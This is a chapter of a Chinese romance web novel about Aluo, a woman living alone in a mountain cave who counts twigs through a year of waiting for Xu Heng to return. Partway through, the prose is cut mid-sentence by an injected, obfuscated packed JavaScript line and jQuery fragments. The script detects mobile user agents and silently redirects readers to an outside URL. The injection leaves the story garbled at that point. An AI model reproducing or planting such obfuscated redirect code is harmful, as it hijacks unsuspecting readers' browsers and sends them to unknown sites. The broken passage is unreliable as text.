阿萝从来没有记录时间的习惯，但是徐珩走后，她就开始记录了。


    她怕自己忘记他离开的日子。


    每天早上起来，她都会往角落的竹筐里丢一根指头大小的树枝，有时候忘记过了多久了，就倒出来数一数。


    她找了他一个月，他音讯全无。


    后来，她就不找了，继续过自己的日子。


    她搬到了鹰嘴崖的洞穴里，那个地方虽然冷，但是没人知道，她住着比较安心。


    徐珩走后第四十天，她回到老宅附近，等着货郎老陈上门，交换过年的物资。


    这是过年前最后一次，阿萝告诉老陈以后不必再来了，她搬走了。


    去哪儿她不愿意说。


    老陈觉得可惜，她虽然只有一个人，交换的东西却不少，有时候能抵得上十几二十户人家的村落，她的东西也好，又实惠，不然他也不会为了她一个人专门跑这一趟了。


    “不过搬走了也好，”老陈把她的东西收好，“最近不太平，不知道哪里来的一股山匪，流窜各处，也不知道什么时候就撞上了，这两年怎么老是这样！”


    老陈说着起了牢骚，阿萝脸色没有什么变化，山里么，不就这样。


    除了猛兽毒虫，也是这些残暴之人的庇身之所。


    但是在老陈要走的时候，她却忽然问关于外面的事情。


    “外面？”老陈一头雾水，“什么外面？外面什么事？”这里群山连绵不见尽头，但是外面的世界却更大。老陈脚走四方，算得上是方圆百里中见多识广的，但相比于外面浩大广阔的天地，他也只是井底之蛙，泉下蜉蝣。


    阿萝脸上露出茫然纠结的神色，眉头锁在一起，“军营，或者是京城？”


    开春的时候朝廷确实派了一支军队来，说是平叛，在黑熊岭那边打了几仗，后面他们就没关注了。说到底，这些跟他们这些整天只操心糊口的人有什么关系呢。


    至于京城。


    老陈蹙了蹙眉，“那地方听说可远了，即便是骑快马，也要几十天才能到，如果是走路，恐怕要好几个月才能走到，你打听这个做什么？”


    这么远吗？！


    阿萝心里凉了半截，不再多说，与货郎分别后又在密林里独行。


    阿萝其实并不知道什么时候过年，她一个人独居深山，人迹罕至，第二天跟第一天并没有区别，第二个月跟第一个月也大差不差。


    天气冷，她出门的时间要少了一些，出去也基本都是捡捡柴。


    寂寂洞穴里，她只能听风声，听雨声，听更深的林子里传来野兽嘶吼的声音。


    有一天早上她醒来，又梦见了徐珩的她忽然忘记他走了多少天了。


    她慌乱地爬起来，擦了擦眼角的泪，折了一节树枝丢到竹筐里，又把里面的小树枝倒出来，一根一根数，数了一根就把一根丢回竹筐里。


    一共九十八根。


    徐珩已经离开九十八天了。


    这个事情让她心慌，就像被突然跳出来的野猪追，心慌意乱之时忽然发现前面是悬崖，马上就要跌入万丈深渊。


    她马上抓住胸口的衣襟，压住快要碎掉了的心。


    徐珩，你到底……货郎说京城很远，也许，他才刚到京城也说不定。


    是的，他一定是刚到家，他说了，他家里有很多事情要处理，他暂时还回不来。


    只是暂时回不来而已。


    阿萝只能这样安慰自己。


    天气渐渐转暖，小草从枯败的荒地里冒出来，一根、两根、三根……越来越多，逐渐连成片，然后茂密地疯长。


    山崖上、密林里、河水边，各种花相继开放，山里变得热闹起来。


    起了个大早的阿萝生火烧水，偶然一瞥，就被灿烂的春景吸引了。


    这里地势高，可以将大片的山谷尽收眼底。


    此时太阳刚刚升起来，蔚然生秀的山谷蒸腾着晨岚，红的、白的、紫的、黄的各色花树与绿色的树叶交织在一起，在蒸笼一样的山谷里随风飘摇、翻涌。


    如果徐珩在就好了，他读过书，一定能把这景记录下来。


    徐珩……


    意识到自己又想起了他，阿萝心情顿时低落。


    已经一百二十四天了，他……


    为了不让自己多想，阿萝也不等水烧开，倒了一碗，喝了就用草木灰盖住火，背着背篓出门了。


    前两日下山换盐和布料，她听说山匪闹得更凶了。她打算回老宅的想法就这么否决了，还是鹰嘴崖这里最安全。


    山路被新草漫过脚踝，沾着晨间的露水，凉丝丝地浸进裤腿里。


    阿萝步子不快，沿着崖壁的小径走，指尖偶尔拂过崖边垂下来的藤蔓，嫩芽蹭着指腹，软得像极了徐珩替她擦药时的指尖。


    她顿了顿，猛地收回手，指尖攥成拳，指甲嵌进掌心，才压下那点不该有的恍惚。


    她今日是来采菌子的。


    春雨过后，松针底下总能拱出肥嫩的青头菌，用泉水焯过，拌上晒好的笋干，就是一顿顶好的饭食。


    她动作熟稔，拨开腐叶，见着菌子便弯腰拾起，放进背篓底层垫着的桐叶上，一片挨着一片，摆得整整齐齐。


    这是她独居多年的习惯，凡事都要归置妥帖，日子才能过得安稳。


    日头渐渐爬到头顶，林间的晨雾散了，鸟雀的叫声密起来，叽叽喳喳的，衬得周遭更静。


    阿萝的背篓半满了，她寻了块平整的青石坐下，摸出腰间的水囊喝了两口。目光漫不经心地扫过对面的山坳，那里的野花开得正盛，粉白的花簇堆在枝头，风一吹，便簌簌落着花瓣雨。


    她起身拍了拍衣裳上的草屑，背上背篓往回走。路过那条山涧时，看见涧水里的游鱼多了起来，摆着尾巴在石缝里穿梭。


    回到洞穴时，日头已经西斜。


    她把菌子倒出来晾在石板上，又去拾掇柴火，将灶膛里的火重新燃起来。


    暮色四合，山风卷着花香钻进来，不知道藏在哪个角落的虫子又叫了起来，一声一声，在寂静的洞穴里格外刺耳。


    她坐在火堆旁，看着跳动的火苗，影子被拉得老长，贴在石壁上，孤孤单单的。洞外传来几声鹧鸪的啼叫，一声接着一声，凄清得很。


    阿萝忽然想起老陈说的山匪，想起京城的路，想起那遥遥无期的归期。她伸出手，拢了拢面前的火苗，火光映着她的脸，眸子里却没什么温度。


    树枝的数量还会一天天多起来，日子也会一天天过下去。


    只是这深山里的春去秋来，花开花落，不知道还要等过多少个轮回，才能等到那个说要回来的人。


    蝉鸣的声浪渐渐低下去，山林里的暑气被一场场夜雨后的凉风吹散。阿萝往竹筐里丢树枝的手，开始要拂开落在筐沿的枯叶。


    她数过一次，整整三百根。


    徐珩走后的第九个月，鹰嘴崖的枫叶红透了半边天。晨雾漫进洞穴时，带着枫叶的气味，沾在阿萝晾在洞口的布衫上，晕出浅浅的红痕。


    她把布衫收进来叠好，动作依旧是慢条斯理的，叠痕压得方方正正，和她码在角落的柴薪、垒在灶边的陶碗没什么两样。


    入秋后，山匪的踪迹好像淡了些，下山换粮时，没再听见有人提起。


    阿萝照旧是换些粗盐和糙米，不多言，不多看，卖了晒干的药草便转身往回走。只是山脚的野柿子熟了，橙红的果子坠弯了枝桠，她站在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300184|197952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    树下看了半晌，折了根带果的枝，插进洞穴里唯一的陶瓶里。


    徐珩在的时候，说过京城的秋也有柿子树，红得像宫墙下的灯笼。


    这话他只说过一次，阿萝却记得牢。


    她每日出门，不再是采菌子，而是捡野栗。熟透的栗球炸开刺壳，露出褐色的果仁，她捡回来，埋进灶膛的余烬里，等夜里火熄了，扒出来，壳裂肉香。她会剥出完整的栗仁，摆成一小碟，摆在自己对面，就好像有人会吃一样。


    石凳被山风吹得发凉，和她遇到他的那一天一样。


    夜里的风更冷了，卷着枫叶拍打着洞口的藤蔓，沙沙的响。阿萝往火堆里添了块柴，火星子噼啪炸开，映着石壁上她的影子，还是孤零零的一个。她忽然想起要数数树枝，便起身把竹筐拖过来，倒在地上。


    三百一十六根。


    她一根一根地数，数得慢，指尖碰到每一根树枝，都像是触到了一天的日升月落。


    阿萝把树枝重新装进筐里，抬手抹了抹眼角。她没想哭，只是山里的风太烈，吹得眼睛发涩。


    洞外的鹧鸪又开始啼叫了，一声，两声，混着枫叶飘落的声音。


    阿萝坐在火堆旁，捧着温热的栗仁，慢慢嚼着。栗肉粉糯，带着微甜，却抵不过心底的那点空落。她望着陶瓶里的柿子枝，望着枝上渐渐干瘪的果子，忽然觉得，这深山的秋，好像比冬还要长些。


    鹧鸪的啼声终于被北风撕碎，第一场雪落下来时，阿萝正往竹筐里丢树枝。


    指尖触到筐沿的冰碴，她缩了缩手，低头数了数新添的几根，三百四十二根。


    徐珩走后的第十二个月，鹰嘴崖被大雪裹成了素白的一片。洞口的藤蔓枯成了褐色的绳，挂着冰凌，风一吹，叮当响。


    阿萝的日子照旧过得规整，天不亮就起身，扫开洞口的积雪，拾掇灶膛里的火。


    雪封了山，她便不再出门，靠着晒干的菌子、野栗和存着的糙米度日。陶碗摆得整整齐齐，柴薪码在角落，连竹筐里的木棍，都被她按长短归置过一次。


    只是洞穴里太冷了，她裹紧了那件缝补过的旧棉袄，还是觉得寒气往骨头缝里钻。


    雪下得大时，她会趴在洞口看。


    漫天的雪絮飘下来，盖住山谷，盖住林莽，连鸟兽的踪迹都埋得干干净净。天地间静得只剩雪落的声音，簌簌的，像谁在耳边低语。她忽然想起老陈说的山匪，想起京城，想起那遥遥无期的归期。


    三百六十八根那天，雪停了。


    阿萝踩着薄薄的雪，出去砍柴。枯枝上的雪簌簌往下掉，落进她的衣领，凉得她一哆嗦。她砍了一捆柴，背在背上往回走，路过山涧时，看见涧水结了冰，冰面下还冻着几片枫叶，红得刺眼。


    她忽然蹲下身，用手指去摸那冰面。冰很冷，冻得指尖发麻，她却不肯停，直到摸到那片枫叶的轮廓，才缓缓收回手。


    回到洞穴时，日头已经偏西。她把柴薪码好，然后坐在火堆旁，剥着最后一点野栗。栗仁没了往日的甜，只剩一点寡淡的香。她剥出完整的一颗，抬手想往对面的碗上放，手忽然停了。


    她的手顿在半空，良久，才把那颗栗仁放进嘴里。


    夜里的风更烈了，拍打着洞口，呼呼响个不停。阿萝往火堆里添了块柴，火光跳得厉害，映着石壁上她的影子，还是孤零零的一个。


    一年了，已经一年了，徐珩，京城再远你也该回来了。


    她望着竹筐里的树枝，那成堆的树枝，好像在笑她，嘲笑她自欺欺人，整整一年。


    也许，他不是去了京城，而是……


    想到这儿，阿萝忽然蜷成一团，那迟来的崩溃与痛哭，终于在压制一年后，爆发了。